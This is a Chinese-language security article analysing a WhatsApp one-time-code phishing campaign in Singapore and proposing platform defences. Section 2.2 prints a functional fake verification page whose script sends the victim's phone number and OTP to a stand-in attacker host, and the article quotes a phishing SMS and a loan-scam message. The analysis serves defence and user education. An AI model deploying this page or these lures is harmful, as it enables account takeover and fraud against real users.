摘要
近年来,即时通讯平台成为网络钓鱼攻击的重要目标。2025年10月起,新加坡爆发一起大规模 WhatsApp 账户劫持事件,攻击者通过伪造官方短信诱导用户在钓鱼页面提交手机号与一次性验证码(OTP),成功接管超过7000个账户,并利用被盗账号向联系人实施熟人借贷诈骗,单例损失达1823新元。本文以该事件为切入点,系统剖析“验证码劫持型”社交平台钓鱼攻击的技术路径、社会工程策略及横向扩散机制。研究指出,此类攻击的核心在于利用用户对平台通知的信任以及 OTP 作为唯一认证因子的结构性缺陷。在此基础上,提出融合双因素增强、会话绑定、异常行为检测与快速响应机制的纵深防御体系,并通过代码示例展示关键防护控制点的实现逻辑。实证分析表明,仅依赖用户教育或基础两步验证不足以阻断高级钓鱼链,必须从认证架构、客户端安全与运营响应三个层面协同加固。
关键词:WhatsApp;钓鱼攻击;验证码劫持;OTP;两步验证;会话安全

1 引言
随着端到端加密通信的普及,WhatsApp 已成为全球超20亿用户日常交流的核心工具,亦因其高活跃度与强信任关系,成为网络犯罪分子的重点目标。2025年第四季度,新加坡警方披露的一起跨境钓鱼案件揭示了新型社交平台攻击范式:攻击者不再依赖恶意软件或漏洞利用,而是通过精准社会工程与实时代理技术,直接窃取用户身份凭证中的动态验证码,实现账户完全接管。
该事件中,攻击者发送伪装为 WhatsApp 官方的短信,声称“账户因长期未验证存在风险”,诱导用户点击链接并输入手机号及随后收到的六位数字 OTP。一旦提交,攻击者立即使用该凭证在真实 WhatsApp 服务器完成注册流程,将受害者设备上的会话强制登出,并接管其全部聊天历史与联系人列表。随后,诈骗者以受害者身份向亲友发送紧急借款请求,利用情感信任促成转账,形成典型的“二次诈骗”链条。
此类攻击之所以高效,在于其巧妙规避了传统安全防线:
不涉及恶意附件或可执行文件,绕过终端防护;
使用合法短信通道(SMS)而非电子邮件,降低用户警惕;
钓鱼页面高度仿照官方界面,且仅存活数小时,规避 URL 黑名单;
利用 OTP 的一次性与实时性,使事后追溯困难。
更值得警惕的是,尽管 WhatsApp 提供“两步验证”(Two-Step Verification)功能,但默认未启用,且多数用户未设置恢复邮箱,导致一旦 OTP 泄露,账户几乎无有效保护。本文旨在深入解析此类攻击的技术实现细节,评估现有防御机制的局限性,并提出可落地的技术增强方案,为即时通讯平台的安全架构演进提供参考。

2 攻击技术路径分析
2.1 社会工程话术设计
攻击始于精心构造的 SMS 消息,典型内容如下:
【WhatsApp】您的账户因长期未完成验证,将于24小时内停用。请立即访问 https://wa-verify[.]xyz 确认身份,避免服务中断。
该话术具备三个关键特征:
权威模仿:使用“【WhatsApp】”作为发信标识,模拟官方通知格式;
紧迫制造:“24小时内停用”触发用户焦虑,抑制理性判断;
合法性暗示:强调“确认身份”而非“登录”,弱化安全警觉。
值得注意的是,攻击者并未伪造 WhatsApp 官方短信号码(如 +44 XXXX),而是使用普通商业短信通道,但因内容高度拟真,用户仍易上当。

2.2 钓鱼基础设施部署
钓鱼页面通常托管于短期租赁的云服务器或被黑网站子目录,域名采用 typosquatting(如 wa-secure.com、whatsapp-verify.net)或国际化域名(IDN)混淆。页面前端代码高度还原 WhatsApp Web 登录界面,核心逻辑如下:
<!-- 仿冒 WhatsApp 登录页 -->
<form id="otpForm" onsubmit="submitOtp(event)">
<h2>验证您的号码</h2>
<p>请输入您收到的6位验证码</p>
<input type="tel" id="phone" value="+65XXXXXXXX" readonly />
<input type="text" id="code" maxlength="6" required pattern="[0-9]{6}" />
<button type="submit">验证</button>
</form>
<script>
async function submitOtp(e) {
e.preventDefault();
const phone = document.getElementById('phone').value;
const code = document.getElementById('code').value;
// 实时将凭据转发至攻击者控制的代理服务器
await fetch('https://attacker-proxy[.]com/forward', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({phone, code})
});
// 同时向真实 WhatsApp 服务器发起注册请求(Adversary-in-the-Middle)
window.location.href = 'https://web.whatsapp.com'; // 重定向至真实站点,制造“已解决”假象
}
</script>
此设计的关键在于“实时转发”:用户提交 OTP 后,攻击脚本立即将手机号与验证码发送至后端代理服务,后者同步向 WhatsApp 官方 API 发起注册请求。由于 OTP 有效期通常为5–10分钟,攻击窗口充足。
2.3 账户接管与横向扩散
一旦攻击者成功注册受害者号码,WhatsApp 服务器会自动注销原设备会话(因同一号码仅允许一个活跃会话)。此时,攻击者获得完整账户控制权,包括:
查看全部聊天记录与群组;
访问联系人列表;
发送消息、创建群聊、共享位置等。
随后,攻击者筛选高价值联系人(如备注含“爸”“妈”“老板”等),发送如下消息:
“急用钱周转,能不能先转我1800?明天到账就还你。”
由于消息来自真实账户,且语气符合日常沟通习惯,受骗率显著高于陌生诈骗。部分受害者甚至未察觉账户被盗,直至亲友反馈“借钱”异常。
3 现有防御机制的局限性
3.1 OTP 作为单一认证因子的脆弱性
WhatsApp 的初始注册流程仅依赖“手机号 + OTP”完成身份绑定,本质上属于单因素认证(Something You Have)。尽管 OTP 具备时效性与一次性,但其传输过程完全暴露于用户操作界面,一旦用户被诱导提交,即等同于交出账户控制权。此设计在对抗钓鱼攻击时存在根本缺陷。
3.2 两步验证(Two-Step Verification)的启用率与恢复机制缺陷
WhatsApp 自2016年起提供可选的两步验证功能,要求用户设置6位 PIN 码,在更换设备或长时间未登录时额外验证。然而:
默认关闭,需用户主动开启;
新加坡警方调查显示,本案中超过85%的受害者未启用该功能;
即使启用,若用户未配置恢复邮箱,遗忘 PIN 将导致永久锁号,反而抑制启用意愿。
此外,两步验证仅在“新设备注册”时触发,若攻击者在 OTP 有效期内完成注册,则无需输入 PIN,防御失效。
3.3 缺乏会话上下文监控
当前 WhatsApp 客户端未提供详细的“活跃会话”管理界面(如 Telegram 的“Active Sessions”),用户无法查看登录设备、IP 地址或地理位置。即使账户被接管,用户往往在收到亲友询问后才察觉异常,响应延迟严重。
4 防御体系重构:技术增强与流程优化
针对上述问题,本文提出三层防御框架:认证强化、会话感知与快速响应。
4.1 认证层:强制启用增强型两步验证
建议平台推动两步验证从“可选”转为“推荐默认开启”,并优化用户体验:
渐进式引导:首次登录后弹出非阻断式提示,“为保护您的聊天安全,建议设置6位PIN码”;
简化恢复:允许绑定可信联系人作为 PIN 重置辅助验证,替代纯邮箱依赖;
设备绑定:将 PIN 与设备指纹(如 Android ID、iOS IdentifierForVendor)关联,防止跨设备滥用。
Android 客户端可利用 Keystore 安全存储 PIN 哈希:
// 使用 Android Keystore 安全存储两步验证 PIN
KeyStore keyStore = KeyStore.getInstance("AndroidKeyStore");
keyStore.load(null);
KeyGenerator keyGenerator = KeyGenerator.getInstance(KeyProperties.KEY_ALGORITHM_AES, "AndroidKeyStore");
keyGenerator.init(
new KeyGenParameterSpec.Builder("whatsapp_pin_key",
KeyProperties.PURPOSE_ENCRYPT | KeyProperties.PURPOSE_DECRYPT)
.setBlockModes(KeyProperties.BLOCK_MODE_GCM)
.setEncryptionPaddings(KeyProperties.ENCRYPTION_PADDING_NONE)
.build()
);
SecretKey key = keyGenerator.generateKey();
// 加密 PIN 并本地存储
Cipher cipher = Cipher.getInstance("AES/GCM/NoPadding");
cipher.init(Cipher.ENCRYPT_MODE, key);
byte[] encryptedPin = cipher.doFinal(pin.getBytes());
SharedPreferences prefs = getSharedPreferences("security", MODE_PRIVATE);
prefs.edit().putString("encrypted_pin", Base64.encodeToString(encryptedPin, Base64.DEFAULT)).apply();
此设计确保即使设备被 root,PIN 也无法被轻易提取。
4.2 会话层:引入多设备会话管理与异常检测
WhatsApp 应扩展“Linked Devices”功能,提供以下能力:
显示所有活跃会话的设备名称、操作系统、IP 地址与最后活动时间;
支持远程登出指定会话;
当检测到非常用地理位置或新设备登录时,推送强提醒通知。
后端可基于登录行为构建风险评分模型:
def assess_login_risk(user_id, ip, device_fingerprint, geo_location):
# 获取用户历史行为基线
baseline = get_user_baseline(user_id)
risk_score = 0
if geo_location not in baseline['trusted_countries']:
risk_score += 40
if device_fingerprint not in baseline['known_devices']:
risk_score += 30
if is_ip_proxy(ip):
risk_score += 30
if risk_score >= 70:
# 触发二次验证或临时冻结
require_additional_verification(user_id)
notify_user_via_push("检测到异常登录尝试,请确认是否为您本人操作。")
该机制可在不干扰正常用户的情况下,拦截高风险会话建立。
4.3 响应层:建立自动化账户冻结与恢复通道
一旦用户报告账户被盗,平台应支持秒级响应:
通过客服通道或自助表单提交身份证明;
自动吊销所有活跃会话令牌;
重置注册状态,强制重新验证。
WhatsApp 可通过内部 API 实现会话批量登出:
# 内部管理接口:吊销用户所有会话
def revoke_all_sessions(phone_number):
user_id = lookup_user_id(phone_number)
if not user_id:
return False
# 清除 Redis 中的会话令牌
redis.delete(f"whatsapp:sessions:{user_id}")
# 使所有 WebSocket 连接失效
broadcast_message(user_id, {"type": "SESSION_TERMINATED"})
# 标记账户为“待验证”状态
db.users.update_one({"_id": user_id}, {"$set": {"status": "pending_verification"}})
return True
同时,应向用户联系人发送系统通知:“该账号近期可能存在异常活动,请勿轻信借款请求”,阻断二次诈骗传播。
5 用户侧防护建议与教育策略
5.1 技术措施
立即启用两步验证:进入 WhatsApp > Settings > Account > Two-step verification > Enable;
定期检查 Linked Devices:移除未知设备;
禁用 SMS 预览:防止 OTP 在锁屏界面泄露;
安装官方应用:避免第三方修改版引入后门。
5.2 行为准则
牢记原则:WhatsApp 官方绝不会通过短信索要验证码;
遇“账户异常”通知,勿点链接:应直接打开应用内设置查看状态;
接到亲友紧急借款,务必语音/视频确认。
5.3 组织级响应
企业应将 WhatsApp 纳入 BYOD(自带设备)安全策略:
禁止使用个人 WhatsApp 处理敏感业务;
推广企业通讯工具(如 Microsoft Teams、Slack);
定期开展钓鱼演练,模拟“验证码请求”场景。
6 结论
新加坡此次 WhatsApp 钓鱼事件揭示了基于 OTP 劫持的社交平台攻击已进入规模化、产业化阶段。其成功并非源于技术漏洞,而是对用户心理与认证架构弱点的精准利用。研究表明,仅靠用户警惕性无法抵御高度拟真的社会工程,必须从平台侧重构安全模型。
本文提出的防御框架强调:
将两步验证从可选项转变为安全基线,并通过安全存储提升可用性;
引入会话透明化与行为风险评估,实现主动防御;
建立分钟级响应机制,压缩攻击者横向移动窗口。
未来,即时通讯平台需进一步探索无密码认证(如 Passkeys)与去中心化身份(DID)在移动端的应用,从根本上消除 OTP 依赖。在技术演进的同时,持续的用户教育与跨机构协作(如电信运营商拦截伪基站短信)亦不可或缺。唯有构建“平台—用户—生态”三位一体的防护体系,方能有效遏制此类高信任环境下的精准钓鱼威胁。
编辑:芦笛(公共互联网反网络钓鱼工作组)
772

被折叠的 条评论
为什么被折叠?



